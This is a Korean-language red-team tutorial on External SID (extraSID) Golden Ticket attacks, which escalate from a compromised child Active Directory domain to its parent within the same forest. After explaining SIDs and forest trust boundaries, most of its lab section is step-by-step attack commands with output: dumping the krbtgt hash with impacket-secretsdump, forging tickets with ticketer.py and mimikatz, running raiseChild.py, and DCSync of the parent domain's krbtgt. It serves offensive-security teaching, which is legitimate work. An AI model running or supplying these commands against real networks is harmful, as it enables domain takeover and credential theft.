External SID Golden Ticket

SID와 External SID

  • SID (Security Identifier): 윈도우 운영체제(와 액티브 디렉토리)에서 특정한 security principal 및 그룹을 구별해내기 위한 문자열이다. 액티브 디렉토리에서는 거의 모든 액티브 디렉토리 리소스(유저, 그룹, 머신 계정, 등)들에게 부여된다.

  • External SID: 도메인 A의 유저가 Two-way Trust Relationship을 갖고 있는 다른 도메인 B의 리소스에 커버로스 인증을 이용해 접근 할 때, TGT에 도메인 B의 SID 뿐만 아니라 유저의 원래 소속 도메인이였던 도메인 A의 SID를 같이 추가해서 넣는다. 이를 External SID라고 부른다. 본인의 원래 도메인(A)가 아닌 다른 도메인(B)의 리소스에 접근 할 때, 유저 본인의 원래 소속 (도메인 A)을 보여주기 위한 용도로 사용된다.

굳이 비유를 하자면 우리나라 사람이 미국을 방문할 때, 미국 비자를 갖고 가지만, 그와 동시에 자신의 원래 소속을 증명하기 위해 한국 신분증 및 여권을 챙겨가는 것과 비슷하다. 미국의 입장에서 한국의 신분증은 외부 신분증, 즉, External SID가 된다.

Forest is the only Security Boundary

마이크로소프트사에 따르면 액티브 디렉토리내의 보안 경계(Security Boundary)의 개념을 가지고 있는 최소 단위는 포레스트(Forest)다. 즉, 공격자가 포레스트 A에서 포레스트 B로 넘어가는/접근하는 것은 취약점이자 잘못된 설정 (misconfiguration)으로 간주해 보안 패치를 해주겠다는 것이다.

하지만 이 말은 곧 1개의 포레스트 안에 수십개의 도메인이 있고, 공격자가 그 도메인들을 마음껏 횡적이동을 하고 접근할 수 있다고 하더라도, 이를 보안적인 문제로 보지 않는다는 말이기도 하다. 한 포레스트 안의 도메인들은 보안 경계로 간주하지 않기 때문이다.

"Each forest is ... a security boundary for all objects that are located in the forest"

External SID 와 Parent/Child 도메인

위 개념들은 모두 합하면...

공격자들은 한 포레스트내의 부모/자식 도메인 중 하나를 장악할 경우, 다른 부모/자식 도메인에 접근 가능한 External SID (extraSID) Golden Ticket을 만들어내 타겟 도메인을 장악할 수 있다.

예를 들어 1개의 포레스트 안에 4개의 부모/자식 도메인이 있다고 가정해보자. 모든 회사들이 그렇진 않지만, AD 디자인을 잘못 한 회사의 경우 아래와 같이 해외 지사들의 AD 환경을 모두 1개의 포레스트에 넣는 경우가 종종 있다.

  • choi.local

  • kr.choi.local

  • jp.choi.local

  • dev.kr.choi.local

이때 만약 공격자가 일본 지사의 액티브 디렉토리 jp.choi.local을 장악한다면, choi.local, kr.choi.local, dev.kr.choi.local 을 모두 장악할 수 있게 된다. 꽤 무서운 개념이지만, 마이크로소프트사가 1개의 포레스트 안의 도메인들은 원래, 디자인적으로 보안 경계로 인정하지 않기 때문에 이는 취약점도, 잘못된 설정도 아니다.

실습

공격자의 입장에서 다음과 같은 상황이라고 가정해보자.

  • pci.choi.local: 자식 도메인. 현재 공격자가 장악한 상태.

  • choi.local : 부모 도메인. 공격자가 공격/장악하고 싶은 도메인.

  • 두개의 도메인 모두 1개의 포레스트 안에 존재.

공격자는 이미 pci.choi.local 도메인을 장악한 상태에서 더 많은 호스트들과 유저들이 있는 부모 도메인인 choi.local 을 장악하고 싶다. 이때 External SID (extraSID) Golden Ticket을 이용하면 된다.

사전 조건

  1. 장악한 도메인(pci.choi.local) KRBTGT 계정의 NT 해시

impacket-secretsdump pci.choi.local/Administrator:'pass'@<도메인컨트롤러> -just-dc-user <krbtgt>

impacket-secretsdump pci.choi.local/Administrator:'Password123!'@dc1.pci.choi.local -just-dc-user pci/krbtgt           

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b8f1a4fbe49f5418a7a8bcb72586f072:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:93cbbe496fbb65efd56a4b569fa1ceda62b4229776235a0a6c28df847d68204f
krbtgt:aes128-cts-hmac-sha1-96:b7a532495db42547d4b0eb8e881021cb
  1. 장악한 도메인(pci.choi.local)과 공격할 도메인(choi.local)의 도메인 SID 수집

# 장악한 도메인 SID 수집 
impacket-lookupsid pci.choi.local/Administrator:'Password123!'@dc1.pci.choi.local 0

[*] Domain SID is: S-1-5-21-2126976142-166271992-3103661063

# 공격할 도메인 SID 수집 
impacket-lookupsid pci.choi.local/Administrator:'Password123!'@dc01.choi.local 0

[*] Domain SID is: S-1-5-21-915960992-2308152741-2736258720

공격

공격에 큰 영향을 주는 변수는 바로 현재 장악한 도메인의 도메인 컨트롤러가 2021년 11월의 KB5008380 패치 적용 여부다. 공격자가 장악한 도메인의 도메인 컨트롤러에게 골든 티켓을 요청하는 공격이기 때문에 패치 여부가 중요하다.

공격 - KB5008380 패치가 됐을 때

이 시나리오에서는 장악한 도메인 컨트롤러가 패치가 됐다고 가정한다.

패치가 됐다면 다음과 같은 플래그들을 꼭 넣어줘야한다.

  • -extra-pac

  • -user-id <RID>: 발급 받을 유저의 RID - 유저 이름과 일치 해야한다. (대부분 500 - Administrator 사용)

  • <username>: 발급 받을 유저 이름 - RID와 일치 해야한다. (대부분 Administrator 사용)

ticketer.py -nthash <장악도메인 KRBTGT NT 해시> -domain <장악한도메인> -domain-sid <장악한도메인-SID> -extra-sid <공격할도메인-SID-519> -duration 1 -extra-pac -user-id 500 Administrator

ticketer.py -nthash b8f1a4fbe49f5418a7a8bcb72586f072 -domain pci.choi.local -domain-sid S-1-5-21-2126976142-166271992-3103661063 -extra-sid S-1-5-21-915960992-2308152741-2736258720-519 -duration 1 -extra-pac -user-id 500 Administrator

External SID 골든 티켓을 받았다면 이를 사용한다.

export KRB5CCNAME=Administrator.ccache

secretsdump.py 장악도메인/Administrator@DC.공격도메인 -k -no-pass 

공격 - 패치가 안됐을 때

패치가 안됐다면 impacket suite의 raiseChild.py 스크립트를 이용해서 자동으로 공격을 진행한다.

raiseChild.py 장악도메인/유저:비밀번호

raiseChild.py pci.choi.local/Administrator:'Password123!'

공격 - 윈도우

mimikatz 바이너리를 이용했지만, 다른 종류의 mimikatz 혹은 인-메모리 실행도 가능하다. 간단한 실습을 위해서 바이너리를 이용한다.

# 장악한 도메인의 아무 호스트에서... 
mimikatz # kerberos::golden /user:Administrator /domain:pci.choi.local /sid:S-1-5-21-2126976142-166271992-3103661063 /krbtgt:b8f1a4fbe49f5418a7a8bcb72586f072 /sids:S-1-5-21-915960992-2308152741-2736258720-519 /ptt

Golden ticket for 'Administrator @ pci.choi.local' successfully submitted for current session

mimikatz # lsadump::dcsync /domain:choi.local /user:choi\krbtgt

[ . . . ] 

SAM Username         : krbtgt
Credentials:
  Hash NTLM: a8f31b642e60b362cc17588df4c5b1e2

대응 방안

원칙적으로는 없다. 1개의 포레스트 안의 도메인들은 보안 경계로 간주하지 않기 때문이다. SID Filtering 등을 이용하는 방법도 있겠지만, 이와 관련해서는 추가 연구가 더 필요하다.

레퍼런스

  • https://fortynorthsecurity.com/blog/golden-tickets-and-external-sids-spread-the-compromise/

  • https://posts.specterops.io/not-a-security-boundary-breaking-forest-trusts-cd125829518d

Last updated